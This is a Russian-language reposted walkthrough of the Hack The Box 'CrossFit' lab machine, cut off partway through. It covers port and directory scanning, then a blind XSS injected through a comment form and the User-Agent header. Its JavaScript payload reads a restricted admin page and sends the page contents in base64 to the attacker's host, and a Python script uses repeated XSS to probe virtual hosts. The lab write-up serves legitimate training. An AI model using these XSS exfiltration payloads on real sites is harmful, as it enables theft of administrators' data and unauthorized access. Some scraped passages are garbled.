Категория > Новости > HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост - «Новости»
HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост - «Новости»24-03-2021, 00:00. Автор: Quincy |
Hack The Box я покажу, как искать XSS на недоступных страницах сайта, сканировать домены через XSS, проводить разведку на машине с Linux, удаленно исполнять код, используя FTP, и эксплуатировать инъекцию команд в пользовательском приложении. А под конец немного пореверсим, чтобы найти финальную уязвимость.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовАдрес машины — 10.10.10.208, добавляем его в
10.10.10.208 crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаРезультат работы скрипта (продолжение)По результатам сканирования имеем три открытых порта:
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это Доменное имя, указанное в поле Common Name Найденное имя мы сразу добавляем в файл
10.10.10.208 gym-club.crossfit.htb
Перебор каталоговПереходим к веб‑серверу. На 80-м порте по адресу Стартовая страница Apache по адресу http://crossfit.htbПользовательский сайт http://gym-club.crossfit.htb Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
gobuster dir -t 128 -uhttp://crossfit.htb/-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -xhtml,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://crossfit.htb
gobuster dir -t 128 -uhttp://gym-club.crossfit.htb/-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -xhtml,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htbПо результатам сканирования можно сказать, что Содержимое http://gym-club.crossfit.htbОбнаруженные подкаталоги и файлы на http://gym-club.crossfit.htb Пока ничего существенного мы не нашли, но все же получили дополнительную информацию. Точка входаПри осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
<script src="http://[локальный IP адрес]/>script>
Тестовая нагрузка в поле комментарияВ качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS! Сообщение о блокировке XSS Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора. На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке Запрос, содержащий нагрузку XSS в заголовке User-AgentПопытка загрузки скрипта с веб‑сервера локального хоста (отклик) Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS. XSSТеперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send();
Код запрошенной страницы здесь сохраняется в переменной
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();
Сохраняем его в файл (у меня
<script src="http://10.10.14.80:8888/evil.js">script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их. Логи локального веб‑сервераДекодирование кода страницы report.php К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно. Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует. Сначала пишем стандартную «базу» для сервера.
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import requests
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
request()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f: Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
def request():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js">script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Перейти обратно к новости |